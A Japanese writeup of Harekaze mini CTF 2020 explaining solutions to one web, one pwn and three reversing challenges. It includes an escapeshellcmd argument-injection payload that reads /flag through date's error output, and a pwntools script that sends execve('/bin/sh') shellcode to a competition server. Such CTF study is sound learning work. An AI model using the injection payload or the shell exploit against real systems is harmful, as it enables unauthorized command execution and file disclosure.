Harekaze mini CTF 2020 writeup
2020-12-26 01:00:00 (UTC) - 2020-12-27 01:00:00 (UTC)に開催されたHarekaze mini CTF 2020のWriteupです。
0x62EEN7EAという個人チームで出場して、141チーム中27位でした。
reversing問を全部解けたので嬉しかったです。
解いた問題は以下の通りです。
- [web] What time is it now?
- [pwn] Shellcode
- [rev] Easy Flag Checker
- [rev] Wait
- [rev] Tiny Flag Checker
[web] What time is it now?
Dockerfileとindex.phpが与えられます。
index.phpは以下の通りです。
<?php if (isset($_GET['source'])) { highlight_file(__FILE__); exit; } $format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S'; $result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1"); ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>What time is it now?</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous"> </head> <body> <header> <nav class="navbar navbar-expand-lg navbar-dark bg-dark"> <div class="container"> <a class="navbar-brand" href="index.php">What time is it now?</a> <div class="navbar-collapse"> <ul class="navbar-nav mr-auto"> <li class="nav-item"><a class="nav-link" href="?source">Source Code</a></li> </ul> </div> </div> </nav> </header> <main> <section class="jumbotron text-center"> <div class="container"> <h1 class="jumbotron-heading"><span class="text-muted">It's</span> <?= isset($result) ? $result : '?' ?><span class="text-muted">.</span></h1> <p> <a href="?format=%H:%M:%S" class="btn btn-outline-secondary">What time is it now?</a> <a href="?format=%Y-%m-%d" class="btn btn-outline-secondary">What is the date today?</a> <a href="?format=%s" class="btn btn-outline-secondary">What time is it now in UNIX time?</a> </p> </div> </section> </main> <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script> <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script> </body> </html>
formatに与えた文字列がescapeshellcmdでエスケープされてdateに渡されています。
escapeshellcmdはシングルクォートやダブルクォートが対になっていない場合にのみエスケープされるのでそれを利用します。
date -f <file>
を実行するとfileの各行の文字列を時刻にして表示してくれて、変換できない時はinvalid date '文字列'
と表示されるのでこれを使って、
http://harekaze2020.317de643c0ae425482fd.japaneast.aksapp.io/what-time-is-it-now/?format=' -f '/flag
としてやるとフラグが表示されます。
It's date: invalid date 'HarekazeCTF{1t\'s_7pm_1n_t0ky0}' .
[pwn] Shellcode
"/bin/sh"のアドレスが与えられるのでそれを利用してexecve("/bin/sh", NULL, NULL)を実行するシェルコードを書くだけです。
レジスタの状態を以下のようにしてsyscallを実行するとexecve("/bin/sh", NULL, NULL)を実行できます。
register | value |
---|---|
rax | 59 |
rdi | /bin/shのアドレス |
rsi | 0x0 |
rdx | 0x0 |
"/bin/sh"のアドレスをそのままediに代入するとヌル文字が入ってしまうので、あらかじめ左シフトした値を代入して右シフトすることでそれを防いでいます。
from pwn import * context.binary = "shellcode" p = remote("20.48.83.165", 20005) p.readuntil('"/bin/sh" is at') binsh = int(p.readline().strip(), 16) << 2 shellcode = asm( f""" xor rdx, rdx xor rdi, rdi xor rsi, rsi mov edi, {binsh} shr edi, 2 lea rax, [rdx+59] syscall """) p.sendline(shellcode) p.interactive()
python solve.py [*] '/home/vagrant/Harekaze_mini_2020/shellcode/distfiles/shellcode' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 20.48.83.165 on port 20005: Done [*] Switching to interactive mode Execute execve("/bin/sh", NULL, NULL) $ cat /home/shellcode/flag HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}
[rev] Easy Flag Checker
challという実行ファイルが与えられました。
ghidraでデコンパイルします。
undefined8 main(void) { int iVar1; long in_FS_OFFSET; undefined local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Input flag: "); __isoc99_scanf(&DAT_00402015,local_38); iVar1 = check(local_38,"fakeflag{this_is_not_the_real_flag}"); if (iVar1 == 0) { printf("Congratulations! The flag is: %s\n",local_38); } else { puts("Nope."); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
入力をcheck関数に渡して、その戻り値が0なら正しいフラグだとわかります。
check関数を見ていきます。
undefined8 check(long param_1,long param_2) { char cVar1; int local_c; local_c = 0; while( true ) { if (0x22 < local_c) { return 0; } cVar1 = (**(code **)(funcs + (long)(local_c % 3) * 8)) ((ulong)(uint)(int)*(char *)(param_2 + local_c), (ulong)(uint)(int)(char)table[local_c],(ulong)(uint)(int)(char)table[local_c] ); if (cVar1 < *(char *)(param_1 + local_c)) break; if (*(char *)(param_1 + local_c) < cVar1) { return 0xffffffff; } local_c = local_c + 1; } return 1; }
funcsの3つの関数を順番に呼び出し、cVar1に代入しています。funcsの引数は第二引数のlocal_c番目の文字とtableのi番目の要素です。
funcsには0x401196, 0x4011b4, 0x4011d4の3つのアドレスが順番に入っており、
- 0x401196は二つの引数を足し合わせる関数
- 0x4011b4は第一引数から第二引数を引く関数
- 0x4011d4は第一引数と第二引数でxorを取る関数
でした。
cVar1と入力のlocal_c番目の文字を比較し、1文字でも違っていたら1や0xffffffffを返すようになっています。
よって、cVar1を求めてやるとフラグが手に入ります。
def add(a, b): return a + b def sub(a, b): return a - b def xor(a, b): return a ^ b funcs = [ add, sub, xor, ] tables = [0xe2,0x00,0x19,0x00,0xfb,0x0d,0x19,0x02,0x38,0xe0,0x22,0x12,0xbd,0xed,0x1d,0xf5,0x2f,0x0a,0xc1,0xfc,0x00,0xf2,0xfc,0x51,0x08,0x13,0x06,0x07,0x39,0x3c,0x05,0x39,0x13,0xba,0x00] param2 = b"fakeflag{this_is_not_the_real_flag}" for i in range(0x22 + 1): tmp = funcs[i % 3](param2[i], tables[i]) print(chr(tmp & 0xff), end="") print()
$ python solve.py HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
[rev] Wait
a.outという実行ファイルが与えられます。
とりあえずghidraでデコンパイルします。
undefined8 main(void) { int iVar1; long in_FS_OFFSET; int local_dc; int local_d8; int local_d4; int local_d0; int local_cc; uchar local_b8 [16]; undefined8 local_a8; undefined4 local_a0; undefined2 local_9c; undefined local_9a; uchar local_98 [32]; uchar local_78 [32]; uchar local_58 [11]; undefined local_4d; undefined local_4c; undefined local_4b; undefined local_4a; undefined local_49; undefined local_48; undefined local_47; undefined local_46; undefined local_45; byte local_38 [14]; byte abStack42 [4]; char local_26; char local_25; undefined local_24; undefined local_23; undefined local_22; undefined local_21; undefined local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_a8 = 0x657a616b65726148; local_a0 = 0x7b465443; local_9c = 0x4449; local_9a = 0; local_78[0] = '\x1f'; local_78[1] = 0xcc; local_78[2] = 0xe7; local_78[3] = 0xec; local_78[4] = 0x44; local_78[5] = 0xbe; local_78[6] = 0xb7; local_78[7] = 0x2c; local_78[8] = 0x99; local_78[9] = 0x4e; local_78[10] = 0x2c; local_78[11] = 0xd6; local_78[12] = 0x9c; local_78[13] = 0x46; local_78[14] = 0x29; local_78[15] = 0x16; local_78[16] = 0xca; local_78[17] = 0x8e; local_78[18] = 200; local_78[19] = 0x10; local_b8[0] = '&'; local_b8[1] = 0x44; local_b8[2] = 0x1f; local_b8[3] = 0x16; local_b8[4] = 0xb; local_b8[5] = 0xb; local_b8[6] = 0x1c; local_b8[7] = 0x21; local_b8[8] = 0x1d; local_b8[9] = 0x20; local_b8[10] = 0; local_58[0] = '\\'; local_58[1] = 0x75; local_58[2] = 0xca; local_58[3] = 0x57; local_58[4] = 0x85; local_58[5] = 0x49; local_58[6] = 0xf6; local_58[7] = 0xa2; local_58[8] = 200; local_58[9] = 0x3d; local_58[10] = 0x14; local_4d = 0xd1; local_4c = 0xef; local_4b = 0xce; local_4a = 0x56; local_49 = 0x55; local_48 = 0xa5; local_47 = 0; local_46 = 0xaa; local_45 = 0x67; puts("Input flag ( HINT: ^HarekazeCTF\\{ID[A-Z]{4}X\\}$ )"); __isoc99_scanf(&DAT_00400bea,local_38); local_dc = 0; while (local_dc < 0xe) { if (*(byte *)((long)&local_a8 + (long)local_dc) != local_38[local_dc]) { puts("Wrong flag"); goto LAB_00400b0c; } local_dc = local_dc + 1; } local_d8 = 0xe; while (local_d8 < 0x12) { if ((local_38[local_d8] < 0x41) || (0x5a < local_38[local_d8])) { puts("Wrong flag"); goto LAB_00400b0c; } local_d8 = local_d8 + 1; } if ((local_26 == 'X') && (local_25 == '}')) { local_24 = 0x53; local_23 = 0x41; local_22 = 0x4c; local_21 = 0x54; local_20 = 0; puts("Verifying... "); local_d4 = 0; while (local_d4 < 0xb) { local_b8[local_d4] = local_b8[local_d4] + command1[local_d4]; local_d4 = local_d4 + 1; } SHA1(local_b8,0xb,local_98); local_d0 = 0; while (local_d0 < 0xb) { if (local_98[local_d0] != local_58[local_d0]) { puts("Be patient"); goto LAB_00400b0c; } local_d0 = local_d0 + 1; } iVar1 = system((char *)local_b8); if (iVar1 == 0) { SHA1(local_38,0x19,local_98); local_cc = 0; while (local_cc < 0x14) { if (local_98[local_cc] != local_78[local_cc]) { puts("Wrong flag"); goto LAB_00400b0c; } local_cc = local_cc + 1; } puts("Correct flag"); } else { puts("Be patient"); } } else { puts("Wrong flag"); } LAB_00400b0c: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
少しずつ読んでいきます。
while (local_dc < 0xe) { if (*(byte *)((long)&local_a8 + (long)local_dc) != local_38[local_dc]) { puts("Wrong flag"); goto LAB_00400b0c; } local_dc = local_dc + 1; }
この部分で入力された文字列の先頭がHarekazeCTF{ID
かどうか調べています。
local_d8 = 0xe; while (local_d8 < 0x12) { if ((local_38[local_d8] < 0x41) || (0x5a < local_38[local_d8])) { puts("Wrong flag"); goto LAB_00400b0c; } local_d8 = local_d8 + 1; }
次にこの部分でHarekazeCTF{ID
に続く四文字がA~Zかどうか調べています。
if ((local_26 == 'X') && (local_25 == '}')) { local_24 = 0x53; local_23 = 0x41; local_22 = 0x4c; local_21 = 0x54; local_20 = 0; puts("Verifying... ");
この部分では入力の末尾がX}
であるか調べてX}
ならば、その後ろにSALT
という文字列を付け加えています。
if (iVar1 == 0) { SHA1(local_38,0x19,local_98); local_cc = 0; while (local_cc < 0x14) { if (local_98[local_cc] != local_78[local_cc]) { puts("Wrong flag"); goto LAB_00400b0c; } local_cc = local_cc + 1; } puts("Correct flag");
少し飛ばしてこの部分で入力をハッシュ化して、local_78に入っているフラグのハッシュ値と比較しています。
入力のうち変わる部分はHarekazeCTF{ID
の後の4文字だけなので総当たりで求めます。
#include <openssl/sha.h> #include <stdio.h> #include <string.h> int main() { unsigned char flag_buffer[100]; unsigned char hoge[5]; unsigned char hash[0x20]; unsigned char expected[20]; int is_wrong = 0; expected[0] = '\x1f'; expected[1] = 0xcc; expected[2] = 0xe7; expected[3] = 0xec; expected[4] = 0x44; expected[5] = 0xbe; expected[6] = 0xb7; expected[7] = 0x2c; expected[8] = 0x99; expected[9] = 0x4e; expected[10] = 0x2c; expected[11] = 0xd6; expected[12] = 0x9c; expected[13] = 0x46; expected[14] = 0x29; expected[15] = 0x16; expected[16] = 0xca; expected[17] = 0x8e; expected[18] = 200; expected[19] = 0x10; for (int i = 0x41; i <= 0x5a; i++) { for (int j = 0x41; j <= 0x5a; j++) { for (int k = 0x41; k <= 0x5a; k++) { for (int l = 0x41; l <= 0x5a; l++) { hoge[0] = i; hoge[1] = j; hoge[2] = k; hoge[3] = l; hoge[4] = '\0'; sprintf(flag_buffer, "HarekazeCTF{ID%sX}SALT", hoge); SHA1(flag_buffer, 0x19, hash); is_wrong = 0; for (int h = 0; h < 0x14; h++) { if (hash[h] != expected[h]) { is_wrong = 1; break; } } if (is_wrong == 0) { printf("%s\n", flag_buffer); return 0; } } } } } }
$ gcc -o solver solver.c -lcrypto -lssl $ ./solver HarekazeCTF{IDRACIX}SALT
[rev] Tiny Flag Checker
xxdコマンドを使って16進ダンプしてみます。
$ xxd tiny 00000000: 7f45 4c46 5555 4e5f 4b41 5741 4949 16c6 .ELFUUN_KAWAII.. 00000010: 0200 3e00 4142 4344 a200 4000 0000 0000 ..>.ABCD..@..... 00000020: 4000 0000 0000 0000 e7fc 6375 63cf fdf0 @.........cuc... 00000030: 66ae dc4f 4fcf 3800 0100 0000 0000 0000 f..OO.8......... 00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ................ 00000050: 0000 4000 0000 0000 4e6f 7065 2e2e 2e0a ..@.....Nope.... 00000060: 6e01 0000 0000 0000 6e01 0000 0000 0000 n.......n....... 00000070: 496e 7075 743a 2000 436f 7272 6563 7421 Input: .Correct! 00000080: 2046 6c61 673a 2048 6172 656b 617a 6543 Flag: HarekazeC 00000090: 5446 7b7d 0ab8 0100 0000 bf01 0000 000f TF{}............ 000000a0: 05c3 4883 ec10 4989 e048 83ec 1049 89e1 ..H...I..H...I.. 000000b0: 660f efc0 0f29 0424 0f29 4424 10be 7000 f....).$.)D$..p. 000000c0: 4000 ba07 0000 00e8 c9ff ffff 31c0 31ff @...........1.1. 000000d0: 4c89 c6ba 1000 0000 0f05 498b 0049 3101 L.........I..I1. 000000e0: 498b 4008 4931 4108 49c1 0929 49c1 4908 I.@.I1A.I..)I.I. 000000f0: 1348 8b04 2500 0040 0049 3101 488b 0425 .H..%..@.I1.H..% 00000100: 0800 4000 4931 4108 488b 0425 2800 4000 ..@.I1A.H..%(.@. 00000110: 4933 0148 8b14 2530 0040 0049 3351 0848 I3.H..%0.@.I3Q.H 00000120: 21c0 7532 4839 d075 2dbe 7800 4000 ba1b !.u2H9.u-.x.@... 00000130: 0000 00e8 5dff ffff 4c89 c6ba 1000 0000 ....]...L....... 00000140: e850 ffff ffbe 9300 4000 ba02 0000 00e8 .P......@....... 00000150: 41ff ffff eb0f be58 0040 00ba 0800 0000 A......X.@...... 00000160: e830 ffff ffb8 3c00 0000 31ff 0f05 .0....<...1...
通常の実行ファイルと比較してヘッダーが少し変になっています。
また、gdbでデバッグしようとしてもうまく認識してくれずobjdumpも動作しませんでした。
そのため自力で解析します。以下のコードを書いて解析を行いました。
from capstone import * from ctypes import * import io class ELF64FileHeader(Structure): _fields_ = [ ("e_indent", c_char * EI_NINDENT), ("e_type", c_uint16), ("e_machine", c_uint16), ("e_version", c_uint32), ("e_entry", c_uint64), ("e_phoff", c_uint64), ("e_shoff", c_uint64), ("e_flags", c_uint32), ("e_ehsize", c_uint16), ("e_phentsize", c_uint16), ("e_phnum", c_uint16), ("e_shentsize", c_uint16), ("e_shnum", c_uint16), ("e_shstrndx", c_uint16), ] class ELF64ProgramHeader(Structure): _fields_ = [ ("p_type", c_uint32), ("p_offset", c_uint32), ("p_vaddr", c_uint64), ("p_paddr", c_uint64), ("p_filesz", c_uint64), ("p_flags", c_uint64), ("p_memsz", c_uint64), ("p_align", c_uint64), ] stream = io.BytesIO(open("tiny", "rb").read()) # ELFヘッダの解析 header = ELF64FileHeader() stream.readinto(header) print("----- ELF header -----") print(f"e_type: {header.e_type}") print(f"e_machine: {header.e_machine} => x86_64") print(f"e_entry: {hex(header.e_entry)}") print(f"e_phoff: {hex(header.e_phoff)}") print(f"e_shoff: {hex(header.e_shoff)}") print(f"e_phnum: {hex(header.e_phnum)}") print(f"e_shnum: {hex(header.e_shnum)}") stream.seek(header.e_phoff) # プログラムヘッダの解析 phdr = ELF64ProgramHeader() stream.readinto(phdr) print("----- Program header -----") print(f"p_type: {phdr.p_type}") print(f"p_offset: {hex(phdr.p_offset)}") print(f"p_vaddr: {hex(phdr.p_vaddr)}") print(f"p_paddr: {hex(phdr.p_paddr)}") print(f"p_memsz: {hex(phdr.p_memsz)}") print(f"p_filesz: {hex(phdr.p_filesz)}") stream.seek(0x95) code = stream.read(-1) md = Cs(CS_ARCH_X86, CS_MODE_64) print("----- disassemble -----") # 逆アセンブル for i in md.disasm(code, 0x400095): print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
上のコードを実行すると以下の結果が得られます。
$ python analysis.py ----- ELF header ----- e_type: 2 e_machine: 62 => x86_64 e_entry: 0x4000a2 e_phoff: 0x40 e_shoff: 0xf0fdcf637563fce7 e_phnum: 0x1 e_shnum: 0x0 ----- Program header ----- p_type: 1 p_offset: 0x5 p_vaddr: 0x0 p_paddr: 0x400000 p_memsz: 0x16e p_filesz: 0xa2e2e2e65706f4e ----- disassemble ----- 0x400095: mov eax, 1 0x40009a: mov edi, 1 0x40009f: syscall 0x4000a1: ret 0x4000a2: sub rsp, 0x10 0x4000a6: mov r8, rsp 0x4000a9: sub rsp, 0x10 0x4000ad: mov r9, rsp 0x4000b0: pxor xmm0, xmm0 0x4000b4: movaps xmmword ptr [rsp], xmm0 0x4000b8: movaps xmmword ptr [rsp + 0x10], xmm0 0x4000bd: mov esi, 0x400070 0x4000c2: mov edx, 7 0x4000c7: call 0x400095 0x4000cc: xor eax, eax 0x4000ce: xor edi, edi 0x4000d0: mov rsi, r8 0x4000d3: mov edx, 0x10 0x4000d8: syscall 0x4000da: mov rax, qword ptr [r8] 0x4000dd: xor qword ptr [r9], rax 0x4000e0: mov rax, qword ptr [r8 + 8] 0x4000e4: xor qword ptr [r9 + 8], rax 0x4000e8: ror qword ptr [r9], 0x29 0x4000ec: ror qword ptr [r9 + 8], 0x13 0x4000f1: mov rax, qword ptr [0x400000] 0x4000f9: xor qword ptr [r9], rax 0x4000fc: mov rax, qword ptr [0x400008] 0x400104: xor qword ptr [r9 + 8], rax 0x400108: mov rax, qword ptr [0x400028] 0x400110: xor rax, qword ptr [r9] 0x400113: mov rdx, qword ptr [0x400030] 0x40011b: xor rdx, qword ptr [r9 + 8] 0x40011f: and rax, rax 0x400122: jne 0x400156 0x400124: cmp rax, rdx 0x400127: jne 0x400156 0x400129: mov esi, 0x400078 0x40012e: mov edx, 0x1b 0x400133: call 0x400095 0x400138: mov rsi, r8 0x40013b: mov edx, 0x10 0x400140: call 0x400095 0x400145: mov esi, 0x400093 0x40014a: mov edx, 2 0x40014f: call 0x400095 0x400154: jmp 0x400165 0x400156: mov esi, 0x400058 0x40015b: mov edx, 8 0x400160: call 0x400095 0x400165: mov eax, 0x3c 0x40016a: xor edi, edi 0x40016c: syscall
ヘッダーからアーキテクチャがx86_64であることやエントリーポイントが0x4000a2であることがわかります。
アセンブリコードが得られたので気合いで読みます。
読みやすいようにアセンブリコードにラベルやコメントを加えると以下のようになります。
#------------------------------ # r8 <= stack addr (input) # r9 <= stack addr (buffer) #------------------------------ #------------------------------ # text list # - 0x400058: "Nope..." # - 0x400070: "Input: " # - 0x400078: "Correct!" # - 0x400081: "Flag: HarekazeCTF{}" #------------------------------ #------------------------------ # write function # - esi: text addr # - edx: text length #------------------------------ write: 0x400095: mov eax, 1 0x40009a: mov edi, 1 0x40009f: syscall 0x4000a1: ret #------------------------------ # entry function #------------------------------ entry: 0x4000a2: sub rsp, 0x10 0x4000a6: mov r8, rsp 0x4000a9: sub rsp, 0x10 0x4000ad: mov r9, rsp 0x4000b0: pxor xmm0, xmm0 0x4000b4: movaps xmmword ptr [rsp], xmm0 0x4000b8: movaps xmmword ptr [rsp + 0x10], xmm0 0x4000bd: mov esi, 0x400070 ; "Input: " 0x4000c2: mov edx, 7 0x4000c7: call write<0x400095> # read(stdin, 0x10, r8) 0x4000cc: xor eax, eax 0x4000ce: xor edi, edi 0x4000d0: mov rsi, r8 0x4000d3: mov edx, 0x10 0x4000d8: syscall # r9 <= r8 (入力の前半8byte) 0x4000da: mov rax, qword ptr [r8] 0x4000dd: xor qword ptr [r9], rax # r9 + 8 <= r8 + 8 (入力の後半8byte) 0x4000e0: mov rax, qword ptr [r8 + 8] 0x4000e4: xor qword ptr [r9 + 8], rax # r9 rotate right 0x29 bit 0x4000e8: ror qword ptr [r9], 0x29 # (r9 + 8) rotate right 0x13 bit 0x4000ec: ror qword ptr [r9 + 8], 0x13 # r9 ^ 0x5f4e5555464c457f ("\x7fELFUUN_") 0x4000f1: mov rax, qword ptr [0x400000] 0x4000f9: xor qword ptr [r9], rax # (r9 + 8) ^ 0xc61649494157414b ("KAWAII\x16\xc6") 0x4000fc: mov rax, qword ptr [0x400008] 0x400104: xor qword ptr [r9 + 8], rax # rax = r9 ^ f0fdcf637563fce7 0x400108: mov rax, qword ptr [0x400028] 0x400110: xor rax, qword ptr [r9] # rdx = (r9 + 8) ^ 0038cf4f4fdcae66 0x400113: mov rdx, qword ptr [0x400030] 0x40011b: xor rdx, qword ptr [r9 + 8] # rax != 0 -> wrong 0x40011f: and rax, rax 0x400122: jne wrong<0x400156> # rax != rdx -> wrong 0x400124: cmp rax, rdx 0x400127: jne wrong<0x400156> # show flag 0x400129: mov esi, 0x400078 ; "Flag: HarekazeCTF{" 0x40012e: mov edx, 0x1b 0x400133: call write<0x400095> 0x400138: mov rsi, r8 ; input 0x40013b: mov edx, 0x10 0x400140: call write<0x400095> 0x400145: mov esi, 0x400093 ; "}\n" 0x40014a: mov edx, 2 0x40014f: call write<0x400095> 0x400154: jmp finish<0x400165> nope: 0x400156: mov esi, 0x400058 0x40015b: mov edx, 8 0x400160: call write<0x400095> finish: 0x400165: mov eax, 0x3c 0x40016a: xor edi, edi 0x40016c: syscall
0x4000daから0x400104までの処理を逆の順に行なっていけばフラグが得られます。
# solve.py from cryptolib.util.binary import * def shift_left(x: int, size: int) -> int: return ((x << size) & 0xffffffffffffffff) | (x >> (64 - size)) xor1 = 0x5f4e5555464c457f xor2 = 0xf0fdcf637563fce7 rax = xor2 rax ^= xor1 rax = shift_left(rax, 0x29) flag_a = long2bytes(rax)[::-1] xor3 = 0xc61649494157414b xor4 = 0x0038cf4f4fdcae66 rdx = xor4 rdx ^= xor3 rdx = shift_left(rdx, 0x13) flag_b = long2bytes(rdx)[::-1] print(b"HarekazeCTF{" + flag_a + flag_b + b"}")
$ python solve.py b'HarekazeCTF{fl4g_1s_t1ny_t00}'